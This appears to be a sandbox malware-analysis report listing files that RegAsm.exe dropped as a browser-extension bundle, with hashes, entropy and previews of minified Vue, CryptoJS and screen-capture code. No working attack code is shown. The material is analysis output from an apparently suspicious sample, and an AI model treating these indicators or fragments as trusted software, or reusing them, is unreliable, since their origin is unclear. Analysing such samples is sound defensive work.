Preview:	/!. Vue.js v2.7.14. * (c) 2014-2022 Evan You. * Released under the MIT License.. /../!. * vuex v3.6.2. * (c) 2021 Evan You. * @license MIT. */.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\permissions.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	544953
Entropy (8bit):	5.140506435494529
Encrypted:	false
SSDEEP:	6144:NMwznnv0IRF6rh+s+zsrhSvPxv1B31JrLks0FBRRoR0vBdg:iwznkFaxv1tL9mRoyQ
MD5:	AB76465C3D052587342494C47480D1A8
SHA1:	D84C0FCF4C7A19DAB9CBE0DF3ADE98F3F5077898
SHA-256:	DB13DAA3F1C36E964F299ADB67903E43CBA45F8BE569886647F2130ABD5A26DE
SHA-512:	5C4E2616E06AE2D70F4F6E9B4E2C01E03B6EE61AA80F6C04FF7A8FB110FCCAFBE728A51048D63B2C9AC8A0FC747C4D7E422D1D87F350350CDD5711A60EE78C0D
Malicious:	false
Preview:	{"version":3,"file":"permissions.js","mappings":";mBACA,IAAIA,EAAsB,CAAC,ECD3BA,EAAoBC,EAAI,WACvB,GAA0B,iBAAfC,WAAyB,OAAOA,WAC3C,IACC,OAAOC,MAAQ,IAAIC,SAAS,cAAb,EAChB,CAAE,MAAOC,GACR,GAAsB,iBAAXC,OAAqB,OAAOA,MACxC,CACA,CAPuB,GCKxB,IAAIC,EAAcC,OAAOC,OAAO,CAAC,GAC7BC,EAAUC,MAAMD,QAGpB,SAASE,EAAQC,GACb,OAAOA,OACX,CACA,SAASC,EAAMD,GACX,OAAOA,OACX,CACA,SAASE,EAAOF,GACZ,OAAa,IAANA,CACX,CAOA,SAASG,EAAYC,GACjB,MAAyB,iBAAVA,GACM,iBAAVA,GAEU,iBAAVA,GACU,kBAAVA,CACf,CACA,SAASC,EAAWD,GAChB,MAAwB,mBAAVA,CAClB,CAMA,SAASE,EAASC,GACd,OAAe,OAARA,GAA+B,iBAARA,CAClC,CAIA,IAAIC,EAAYb,OAAOc,UAAUC,SAQjC,SAASC,EAAcJ,GACnB,MAA+B,oBAAxBC,EAAUI,KAAKL,EAC1B,CAOA,SAASM,EAAkBC,GACvB,IAAIC,EAAIC,WAAWC,OAAOH,IAC1B,OAAOC,GAAK,GAAKG,KAAKC,MAAMJ,KAAOA,GAAKK,SAASN,EACrD,CACA,SAASO,EAAUP,GACf,OAAQb,EAAMa,IACU,mBAAbA,EAAIQ,MACU,mBAAdR,EAAIS,KACnB,CAIA,SAAS,EAAST,GACd,OAAc,MAAPA,EACD,GACAhB,MAAMD,QAAQiB,IAASH,EAAcG,IAAQA,EAAIJ,WAAaF,EAC1DgB,KAAKC,UAAUX,EAAK,KAAM,GAC1BG,OAAOH,EACrB,CAKA,SAASY,EAASZ,GACd,IAAIC,EAAIC,WAAWF,GA

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\popup.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65473)
Category:	dropped
Size (bytes):	631380
Entropy (8bit):	5.641742804306405
Encrypted:	false
SSDEEP:	6144:YLDiiZLHwzLY3uHG1HKnWIhkIu+c4Q/cRmGF1WISuJNltlRIZ:YLDiWwz7mMnWascmW1WI9JNVRIZ
MD5:	435861249B5DBFF2A3041A967CD6BF5C
SHA1:	07745A0FEEA424642B150D181EDC28B07D3862D1
SHA-256:	C52DF2C2751B1494EBC0490067824024494BA24961AA0BC334E94725CB08F04B
SHA-512:	8C35646323FD23D6A1EA1ECAFEC3BAB9C091445EE1B0472B884B58211027B7FCA13A7A9E76281C1EA35BBCF76FE734AB19B0D8C8A224AC4FD544B6E4DBF07C42
Malicious:	false
Preview:	/! For license information please see popup.js.LICENSE.txt /.(()=>{var e={452:function(e,t,n){var r;e.exports=(r=n(8249),n(8269),n(8214),n(888),n(5109),function(){var e=r,t=e.lib.BlockCipher,n=e.algo,i=[],o=[],a=[],s=[],c=[],u=[],l=[],f=[],d=[],h=[];!function(){for(var e=[],t=0;t<256;t++)e[t]=t<128?t<<1:t<<1^283;var n=0,r=0;for(t=0;t<256;t++){var p=r^r<<1^r<<2^r<<3^r<<4;p=p>>>8^255&p^99,i[n]=p,o[p]=n;var v=e[n],y=e[v],g=e[y],m=257e[p]^16843008p;a[n]=m<<24\|m>>>8,s[n]=m<<16\|m>>>16,c[n]=m<<8\|m>>>24,u[n]=m,m=16843009g^65537y^257v^16843008n,l[p]=m<<24\|m>>>8,f[p]=m<<16\|m>>>16,d[p]=m<<8\|m>>>24,h[p]=m,n?(n=v^e[e[e[g^v]]],r^=e[e[r]]):n=r=1}}();var p=[0,1,2,4,8,16,32,64,128,27,54],v=n.AES=t.extend({_doReset:function(){if(!this._nRounds\|\|this._keyPriorReset!==this._key){for(var e=this._keyPriorReset=this._key,t=e.words,n=e.sigBytes/4,r=4*((this._nRounds=n+6)+1),o=this._keySchedule=[],a=0;a<r;a++)a<n?o[a]=t[a]:(u=o[a-1],a%n?n>6&&a%n==4&&(u=i[u>>>24]<<24\|i[u>>>16&255]<<16\|i[u>>>8&255]<<8\|i[

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\popup.js.LICENSE.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Unicode text, UTF-8 text, with very long lines (756)
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	5.310989264969127
Encrypted:	false
SSDEEP:	48:VMyOPpOOrYJurYJzO0432sBG32s3Etm13t6THd:V68OrYJurYJzOn303z9IT9
MD5:	77AB2A3770496D0F24028E4F791639A3
SHA1:	B23C0D86A7A3176B3B2C12E63BC87774EA7F1F8C
SHA-256:	802C0CB898FDE67417CF7967B9703B3DE7396FB60F3747BEDC1DF261BD8AF43D
SHA-512:	8D4AC05818275E039FCB65878DDC51C313E342F0D354390111041EEB9E501BD1B1803F44477600F9D3871A14629425480F843AC9F03C1DC76F2DCFCC3320010B
Malicious:	false
Preview:	/!. Vue.js v2.7.14. * (c) 2014-2022 Evan You. * Released under the MIT License.. /../!. * vue-dragula v2.5.3. * (c) 2018 Yichang Liu. * Released under the MIT License.. /../!. * vuex v3.6.2. * (c) 2021 Evan You. * @license MIT. /../* @preserve.. * Counter block mode compatible with Dr Brian Gladman fileenc.c.. * derived from CryptoJS.mode.CTR.. * Jan Hruby jhruby.web@gmail.com.. /../* @preserve..(c) 2012 by C.dric Mesnil. All rights reserved....Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:... - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer... - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\popup.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2659313
Entropy (8bit):	5.182068546353913
Encrypted:	false
SSDEEP:	49152:FFFDq1YCBbOpv0N4cfjv384htWIC1tMRoe5:b/IL
MD5:	FF9123A546AD88CCD1E0A4E676F1061D
SHA1:	53B2A0B285F55291845581843351576EDD363C2A
SHA-256:	5897F6029D960A01D5E57E0E37CCC0D89F74319EB36702471783489DD75EB059
SHA-512:	C33059456BB4461A53C2E7BACA420BDE7DEE326F9094D78610425B984B2C22136A4E1F54855DDA22D4E7942D1CEC5132EE3567CEFC04392C2B5D5DAB8D4790D5
Malicious:	false
Preview:	{"version":3,"file":"popup.js","mappings":";iCAAE,IAagBA,EAVhBC,EAAOC,SAUSF,EAVmB,EAAQ,MAAW,EAAQ,MAAiB,EAAQ,MAAU,EAAQ,KAAa,EAAQ,MAY9H,WAEG,IAAIG,EAAIH,EAEJI,EADQD,EAAEE,IACUD,YACpBE,EAASH,EAAEI,KAGXC,EAAO,GACPC,EAAW,GACXC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAY,GACZC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,GAChBC,EAAgB,IAGnB,WAGG,IADA,IAAIC,EAAI,GACCC,EAAI,EAAGA,EAAI,IAAKA,IAEjBD,EAAEC,GADFA,EAAI,IACGA,GAAK,EAEJA,GAAK,EAAK,IAK1B,IAAIC,EAAI,EACJC,EAAK,EACT,IAASF,EAAI,EAAGA,EAAI,IAAKA,IAAK,CAE1B,IAAIG,EAAKD,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EAAMA,GAAM,EACzDC,EAAMA,IAAO,EAAW,IAALA,EAAa,GAChCd,EAAKY,GAAKE,EACVb,EAASa,GAAMF,EAGf,IAAIG,EAAKL,EAAEE,GACPI,EAAKN,EAAEK,GACPE,EAAKP,EAAEM,GAGPE,EAAa,IAARR,EAAEI,GAAqB,SAALA,EAC3BZ,EAAUU,GAAMM,GAAK,GAAOA,IAAM,EAClCf,EAAUS,GAAMM,GAAK,GAAOA,IAAM,GAClCd,EAAUQ,GAAMM,GAAK,EAAOA,IAAM,GAClCb,EAAUO,GAAKM,EAGXA,EAAU,SAALD,EAAwB,MAALD,EAAsB,IAALD,EAAmB,SAAJH,EAC5DN,EAAcQ,GAAOI,GAAK,GAAOA,IAAM,EACvCX,EAAcO,GAAOI,GAAK,GAAOA,IAAM,GACvCV,EAAcM,GAAOI,GAAK,EAAOA,IAAM,GACvCT,E

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\qrdebug.js

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1119)
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	5.139518964554278
Encrypted:	false
SSDEEP:	24:9eNLrDbZ/PMRXOvuNTPNd9/7RRwvnVPtlrnGI4aAnb3zIdlb3zgmmnKalhIrV3+Q:QNDbxPZGTbVIGXv3zI3zXV3+oHtxgCh
MD5:	C049CE0AB70EE3200E490E50AE83C27C
SHA1:	BC93AB9C5CD40DDC427F7C4AF401FCD13FC39855
SHA-256:	1FA868C6A2B9A7A50EF5BCB6CA7055959E400EC9336F7975F18DE0D956ADC421
SHA-512:	558E4D52B715F2F9AD6E752FE638317AF9F7EF00D9A9D9B9493EFBA24BE01A3D3F20E23DA7A5C1B5FC8E872780B067B6AA25268FFB22182C554B02ABD157182C
Malicious:	false
Preview:	(()=>{"use strict";chrome.runtime.onMessage.addListener((function(t,e){if("position"===t.action){if(!e.tab)return;n=e.tab,i=t.info.left,c=t.info.top,o=t.info.width,a=t.info.height,r=t.info.windowWidth,chrome.tabs.captureVisibleTab(n.windowId,{format:"png"},(function(t){var e=new Image;e.src=t,e.onload=function(){var t=e.width/r,d=document.createElement("canvas");d.width=ot,d.height=at;var b=d.getContext("2d");if(b){b.drawImage(e,it,ct,ot,at,0,0,ot,at);var h=d.toDataURL(),w=document.getElementById("info");w&&(w.innerHTML="<b>Scan Data:</b><br><br>"+"Window Inner Width: ".concat(r,"<br>")+"Width: ".concat(o,"<br>")+"Height: ".concat(a,"<br>")+"Left: ".concat(i,"<br>")+"Top: ".concat(c,"<br>")+"Screen Width: ".concat(window.screen.width,"<br>")+"Screen Height: ".concat(window.screen.height,"<br>")+"Capture Width: ".concat(e.width,"<br>")+"Capture Height: ".concat(e.height,"<br>")+"Device Pixel Ratio: ".concat(t," / ").concat(window.devicePixelRatio,"<br>")+"Tab ID: ".concat(n.id,"

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\qrdebug.js.map

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3846
Entropy (8bit):	5.23967859425606
Encrypted:	false
SSDEEP:	96:fbfdINbCEUdlxihXjErAvFD/qKIU4HSqIkPVp0p088Yj0SQ0d2WyTp0L98Pu:f/EUdwXjEkDRIEkPwa88YQSbd2WyTpJm
MD5:	69F959C2C9FB37FF8455E2FD9369EFA1
SHA1:	AD4A8222F2FBFB6DDD597B157EA11D8BBDF74C0C
SHA-256:	988100394631EBA7BF6611DF91512689EEB07AA96F67CCDCDAEE8A199472DAC9
SHA-512:	84D6D54730CC0D92D42FD4E08FA1603BD1F7A0EE100D4C85026A37A3FE8348A95FF10B8F64346B1BE4E0E23847089030CDCDD9315149C12E206365A00A4E485A
Malicious:	false
Preview:	{"version":3,"file":"qrdebug.js","mappings":"mBAAAA,OAAOC,QAAQC,UAAUC,aAAY,SAACC,EAASC,GAC7C,GAAuB,aAAnBD,EAAQE,OAAuB,CACjC,IAAKD,EAAOE,IACV,OAcJA,EAXIF,EAAOE,IAYXC,EAXIJ,EAAQK,KAAKD,KAYjBE,EAXIN,EAAQK,KAAKC,IAYjBC,EAXIP,EAAQK,KAAKE,MAYjBC,EAXIR,EAAQK,KAAKG,OAYjBC,EAXIT,EAAQK,KAAKI,YAajBb,OAAOc,KAAKC,kBAAkBR,EAAIS,SAAU,CAAEC,OAAQ,QAAS,SAACC,GAC9D,IAAMC,EAAK,IAAIC,MACfD,EAAGE,IAAMH,EACTC,EAAGG,OAAS,WACV,IAAMC,EAAmBJ,EAAGR,MAAQE,EAC9BW,EAAgBC,SAASC,cAAc,UAC7CF,EAAcb,MAAQA,EAAQY,EAC9BC,EAAcZ,OAASA,EAASW,EAChC,IAAMI,EAAMH,EAAcI,WAAW,MACrC,GAAKD,EAAL,CAGAA,EAAIE,UACFV,EACAX,EAAOe,EACPb,EAAMa,EACNZ,EAAQY,EACRX,EAASW,EACT,EACA,EACAZ,EAAQY,EACRX,EAASW,GAEX,IAAMO,EAAMN,EAAcO,YACpBC,EAAUP,SAASQ,eAAe,QACpCD,IACFA,EAAQE,UACN,4BAEA,8BAAuBrB,EAAW,QAClC,iBAAUF,EAAK,QACf,kBAAWC,EAAM,QACjB,gBAASJ,EAAI,QACb,eAAQE,EAAG,QACX,wBAAiByB,OAAOC,OAAOzB,MAAK,QACpC,yBAAkBwB,OAAOC,OAAOxB,OAAM,QACtC,yBAAkBO,EAAGR,MAAK,QAC1B,0BAAmBQ,EAAGP,OAAM,QAC5B,8BAAuBW,EAAgB,cAAMY,OAAOZ,iBAAgB,QACpE,kBAAWhB,EAAI8B,GAAE,QAZjB,mC

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon.svg

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1965
Entropy (8bit):	4.9255864853009745
Encrypted:	false
SSDEEP:	48:cpKhHdTqGZDS8Dov10x+85wVqmnwKAQ22RWYAB:3cG/cvKxFLk7A4RPi
MD5:	F74AF44C4025DB049798F06C1435D594
SHA1:	B08BB2032968E6B8EBA829BF24722DFAAC0622AB
SHA-256:	D11113A888840C260C5F578CACC03CB435097C00EB8E3CA99B4852CC174B2A98
SHA-512:	1788EFA00B13ADBC8F2234AAE85448D7C85E1041DE49BEFB7DFE9DBDB24F8E7A950EF91A7127612659D9524DFD0ECD56CE85E82F7D62428FC1BFABF1B7E61A6F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg width="600" height="600" enable-background="new 0 0 600 600" overflow="visible" version="1.1" viewBox="0 0 600 600" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">. <defs>. <linearGradient id="linearGradient" x1="300" x2="300" y1="586.5" y2="13.238" gradientUnits="userSpaceOnUse">. <stop stop-color="#f9f9f9" offset="0"/>. <stop stop-color="#fff" offset="1"/>. </linearGradient>. </defs>. <path d="m585 515.22c0 38.381-31.403 69.784-69.784 69.784h-430.43c-38.381 0-69.784-31.403-69.784-69.784v-430.44c0-38.381 31.403-69.784 69.784-69.784h430.43c38.381 0 69.784 31.403 69.784 69.784z" fill="url(#linearGradient)" stroke="#ccc" stroke-width="10"/>. <g fill="#2d2d2d">. <path d="m88.941 73.321v188.24h188.24v-188.24h-188.24zm152.94 152.94h-117.65v-117.65h117.65v117.65z"/>. <rect x="157.18" y="141.56" width="51.765" height="51.765"/>. <rect x="325.24" y="92.907" width="51.765" h

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon128.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3012
Entropy (8bit):	7.883462283193384
Encrypted:	false
SSDEEP:	48:ZlSWKNSTNXRvGwWOR+ofKc6vmvaN2LWFb7/SO+ZAbtPTlaHZCoz/uN6ID2oUZx4j:j5HtgwR1d6vYaN2LWFnD8AbmHZCoycID
MD5:	8B3DD1075C9406E83691FF5C224832F1
SHA1:	16838B53108624172A7F5CEBC3C362FA5B40A0A2
SHA-256:	05DA3F72683D77542E0C6E7A805EE89C42F99984A992DA7F18D18689D43CED20
SHA-512:	E50B9260F157D52153383D35EEF477E297CACE0682942005C8EBF95482448451E090AC42D516A4E118BF03A494F6C079557A33DC31CEE4B009301EB3EA519D66
Malicious:	false
Preview:	.PNG........IHDR..............>a.....IDATx..mLT....s`]`Y.F........FvI..........m.[%~h..4....Xl.4M.m}.k..&...h.z.."%...bP1...8l...d..pvw.9..}..y.g.....3C..v..mB.j...7B..2..#..a..@................d"..........]..9\......UQQ.qB..<.q.p...5..}.........F...B..!)).e.....\|....(.p........J...b.\.+}X.PJ..../........,dggC....58..x<...FOO.(.xQ.t..j..W.."........)....d2a....'......>Dooo..:.n..._."...J..\.f......?....X.`.f....6<<\|.R.R..t1R........I..lFNNN.r..n...?...t... 3g...3...##]]]x....P...V........Fz..d2..O@f.........4..^T.[...B0{.l.c.....B....p8...@)%#.<.......F..#333p....n.....PPP....x<..s.x1.c......./..G..#--.....W'SJ..B`4F?...........B....U.R.....gRR..A.`.F..... ..$...!%%%.`jkkq....+.^....'......72...{....Ae... ..t:...8..)S..f....D].p&.Aem..c.#....T.:..8..k8{..$[B....;.c....0<z..._.d;.kN...........+f..@^^.RSSe....CCC...)yyyhnn.8.S..o.>Yb.......QXX(.26.}.].._.\|....q..4.......8\....@.>.t....=zT..i.p..e.c..........H..j..o.4.h.@)..L.1....w.yF.c

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon16.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	655
Entropy (8bit):	7.499198491904848
Encrypted:	false
SSDEEP:	12:6v/7h6kbcYt8ytdeoE0hbT3v0YOLAfWeOp6AmPD4xTzrceGl8k40H3Ckc:d7gvf0YOsW1p6haTzVGWgC1
MD5:	88E80962071C5E0EAFB35367AC130271
SHA1:	5C94058355EFB581A62789AB4B504A04BBF9E23E
SHA-256:	61B5CCC8B6530B543B537F6A77E827306572E7ED6F0C3F850579A7739A46B8ED
SHA-512:	EDA3887B00328B2D9D674961A52C3229DCADA674B7762582E225C69D2591AE63F432E38C35EC65896C9D3FA256B93C491C8C3DA2647D6AB34137A6A80C9A5CC9
Malicious:	false
Preview:	.PNG........IHDR................a...VIDAT8...=H#Q.....f..2...F.."Vb.J.s....DEA..B.6.QR..X..R$EJm.Q.Q..!ETP.3$:Y..........x.y..s.=W...........'.j...J%!=??_........C...OOO..M..q.\|>.CCC.}.Q...@<.'......B......`ww.D"...).....y..,..D<.w........t...999.V.1??O.Ravv.....!..B......{.F[..kkk......;.\...nvvv>......i.o...i...u....288...&.`...)...:4.eYO.P(.....r...&..............777...yVWW)...L.v@}}}..............m...9>>.Z...Cv3....0.......$...ppp...+.www..........F.!&''E.T...R.$..p.G..............,.... .Jqxx..i......F.....3......Z...........`....1..0.$.L&....\.322B ....l*.i..H$...z?..z.N.X,z......d...}.....T.../4L...Z.....IEND.B`.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon19.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 19 x 19, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.6260895545893295
Encrypted:	false
SSDEEP:	24:oeANN7ujrqEgERlnzwFRQhZeFV0w9Y14V:MQrqETziQ3yV0w++V
MD5:	3BDA1BBD902868EB22FFA68B605C0A3D
SHA1:	3C1CEB99A40AC771E187DFE84883847FC5435334
SHA-256:	3C0EBDC376B0D072A62F0AA45964A470E0BC9B3779D5C33B823614A23D410C00
SHA-512:	8C3ACBC7AD0F6CC788CD66BF1FCCDC1EB4D1463F257A82A86CC8F809B41957DF486C03260E07F7E88C7089A2DFE79056AA8CC8B181D88439BBDD559BFC2A55CC
Malicious:	false
Preview:	.PNG........IHDR.............rP6.....IDAT8....K#].....NPF......Gta.`.W..../....-B@[..D.P.F..y........0...F.w5J ..G...Fc\.aOuy.s.9<.>....gM.&...?..\|.V&.9N.RA...../ ...'+.R+.`uu....<Y.....4...$.I......%.........FQ..,...,....222.%.F.................A.......,......UU)//gqq.D"AEE.C.4.......B......i..(555x<.l.uO&...m...p.\.{.[U..a.....6...q...P..UU_..n2.......-...z.ZZZ())..t...m.....HWWW.n.........<...R[[.[......q.........1..Y.i....UUq..y..E"..........I .`ii.............w...J.........dee.d2I(.....!.....ax.n..@YY........:.X....l...V.\|qq........iZ.Y8.f.....1&&&.m;G.....v...477...e!.www.b1$IB.uNNN...cmm...^...oYWWGSS...BH.EEE.........<.......p..OCC.sss...RUUEOO.333....tzz..........H$..i~.......I.>L"..4ML..&......S............xr:.....Q..~#.......IEND.B`.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon38.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1277
Entropy (8bit):	7.803959236996342
Encrypted:	false
SSDEEP:	24:CdVPfWhCCfI09Vq5E4MvtHV+t+NoeM5cK/9FEUtCHQWskJ1YRMoy:C33kNfKEFvF5NlQ99qYCXlJ1cG
MD5:	825D11F87E4BC8B2E74F9EC9D208EE6B
SHA1:	3F0CDDB466D0D106331910E1E4B15E43BA7DED8A
SHA-256:	2992ABD9C952E1EA90DFDDC5CAD92D65A7ABD21F1BFC9DEBFCBD45E661CDFE60
SHA-512:	90168B21E44437D141354B01BF67603C1D1034188B653248E3493FBB51B9AD13710382B5E942C447CDC8DC80C18055ABFF4C8C36F5E29E51D6F7E7F0A7468F90
Malicious:	false
Preview:	.PNG........IHDR...&...&......=.....IDATX..MH.i...o......U..A...FAF..BQ..z..b.,...9(.De/..w.Y..EYCU..... ..Z...-Q.A.dS?...Vg.=4..d2....)..yy.7...!.I..;..<...,!.3...H.$.$I..L.^%...+.....L.K.,S........ .w._..[rr...Pr.\......a....]...7....8vkk.........<...r..n....j.1...hoo.._.z...=R<!....5.t:}....u.......x..v...=S..b..0...W..0LP..b.\}..........lp..~...e.l6.......y..~]pv..mmm!kk...f.........R\|\|<.f.....5.._...avvV.7o.N....{...(.hnnV\|ii)..."...Lk.P.QJ..^k........../^T...sxx.z...PTT.r\|X`...())Q.... ....U.....\.r:0B..7.HK...'....._[[...p....6..... .....S\|tt4.k...N%.......j.....(77W...,L&._.R..eQXX..W..T}.++...".}.B.3644...&.....~...]...(....)))...../_.Djj...O.688......-.lgg.....y>.lcc.......S.O.vZmll....x...w.P=+9....>. ....Rx.^x.^..........1..j....Ai..!..........A..?..h4bttT...n...L.....W.......:c/^........O.....VVV....8.(.....j...p...[............`,..EQ.(.A.......d4.a4.O.w.^..rrrT.7.V...$.....,Z,.dgg..kXXX8.***.eee.~.}..5>~......p.....E.oX...b.N.CSS.......

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\icon48.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1538
Entropy (8bit):	7.801368196573368
Encrypted:	false
SSDEEP:	48:72DgJg58m9AvTLM+xTwgg+Fq0KW3LbC6BTW:7dM5AvTo+ypL6E
MD5:	1645BF0D3E405804645688F6AC7F6945
SHA1:	7A13CB1BEBCB10481467F8B709904F033C6FE3A6
SHA-256:	29199E6183F36A2251A0FF7A10257CA05683EE7E2507FA37A636FDE4D92D0C1C
SHA-512:	ADF35126921EC9039C849695E20DA0A5D41D7ECCA842157B41ACB8679125D88335D6448C6C66EC48570644F4668478C6562983124C905C2054E28884CE217E6D
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATh..YMhSY...}.>R..j.T.F.......X...U.B.....(....(.\..MD...tSDt!.j..A...RA...I:....YL}.3y.{.4...r....s....8.ttt..J.U.nJ).&.c.s.C......O.a.@.`dd.F).Z,....JKII.F..d2.Y..^\\.......sN)...;w.<......$...X......!.9...?~.j....n.F.....$,//.}.../.Rz..v[8.....*,_.\|i..Td...A..?..zzz`..uq.y.[.ni.O.<.#G...$I..R$...:....a...$.I.........N.......X,.u....gl'..b........hT.;;;.....(--..;T........+..g...c9y......R...z.....fggq...}u%`..{...X.......R..b...a........x.">\|...mmm8..\|.u...A9..8.\|..q.....m.2.].v..W..-[.h.6m...H...g8...n\|..M..m.f\.O......Tm.=..l...p....F...c,m..{6.......pN....A..].......w...M.@ ...kjjT....U\|.I..D.Z..v;....`Q.Uq....8.........~-p.A.}..w.^G.J7....Q.."./~..4'....&&&..j............Vl.......s.199.w....r.....M........][[..@0.D__.b.\|.....A...\|....p....'..`..........Y.9p...G....d.....j........ ...k.Z.b...........f.577...9.....SSS.}..%......{....DfCQJ(.J......(...a$..u..YB/^...O..W.\......dii).....q.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\images\scan.gif

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	GIF image data, version 89a, 300 x 300
Category:	dropped
Size (bytes):	32144
Entropy (8bit):	7.971449403512861
Encrypted:	false
SSDEEP:	768:qKxIdzIjEqTd16lpwR7vrE2ecxgsavxKOx:qKXdIfkCrN5KOx
MD5:	8A03F5A835DCB6E17111A2C112114024
SHA1:	53D2DE1CD631F4E5F3547659CC1B0B8BF6E73436
SHA-256:	3F98E235D64BF80F906CEBBCA518CCB57660A734D10D40073953D2D890C92A0E
SHA-512:	195689BFB49BD331AAE9B4507861A6933FB7AA624EB745967324A9179B7156008312B87C15023D04807430D49850C3C9472350A4F34A508C0F81260F27926542
Malicious:	false
Preview:	GIF89a,.,...................@@@......!..NETSCAPE2.0.....!...d...,....,.,....h...0.I..8...`(.di.h..l.p,.tm.x..\|....pH,...r.l:..tJ.Z..v..z..xL....z.n...\|N.....~....m.....?....:...7...2...-...(...#..................................}.......y.....w......................~..\|..z..x......................<s....#J.H.....^....... C.....(7v....J.-S.Y.%..4s...!.H..\|..j.h..D.r.......A...T.M=V.z...I.V..R...`u...5.Z.;..%....3..MY...s..............b. y....2.u&+....b..+...4?.=.<z.e...........-:4...3..>\..y.v..q...?..3v..!..^.}....!b.+.9w...........7...R...%G.~}...w..C.W....x]x...."......OQ.......`M....t.=.._.......'..X.V"jH".7z(.C...#l;.(W...."..J.P.`....K.y`.e........A)$.8f.%.,....d..c}G...9..k..$.3.Y.xF.$.f..&{U.....z%.9>..#..fP..Y....9.\|.v.'.&...O~z..v.f..>7.1zyj...ji..BP..D.+...JB.&vZ....Khd.V.@l.r.....&z....j..-&;e..~....e[,......F.l....n..z...+o{.......B./..Tkd..~.l...K...(\(..K.1....o..3.0../....#.2...<..!.....c..Ek....,....,...<..qg?

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\manifest-pwa.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	156
Entropy (8bit):	4.328711271059357
Encrypted:	false
SSDEEP:	3:3HBfqyIAfyFF/2XQfoMx0/bHY/pc8fuIT/JHJCuMfzHknd/QXTiOLCNHovkYn:3HpjTfWN2XQ/yWJYuezEndYXj8e
MD5:	4074D115CBDEE09C883C61A4E88776B7
SHA1:	F25A08D8F3F02DFC0C1CD67F6693E64629CF3D39
SHA-256:	9C19DE79ACCF71F673EEC5F659019C57E5D5319509B26AF3F78733E46813CE3B
SHA-512:	15C5ECBB43987B282F42C439DB2FBBCF59A17F0CA47116DB8A07EBC409D4A493CDF3BF46C27AFDFF306506A20DD24D0BEF2600AD880D82522723C49ED8EC301D
Malicious:	false
Preview:	{.. "scope": "/",.. "icons": [{.. "src": "/images/icon.svg",.. "type": "image/svg+xml",.. "sizes": "any",.. "purpose": "any maskable".. }]..}

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\manifest.fingerprint

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.916336083508574
Encrypted:	false
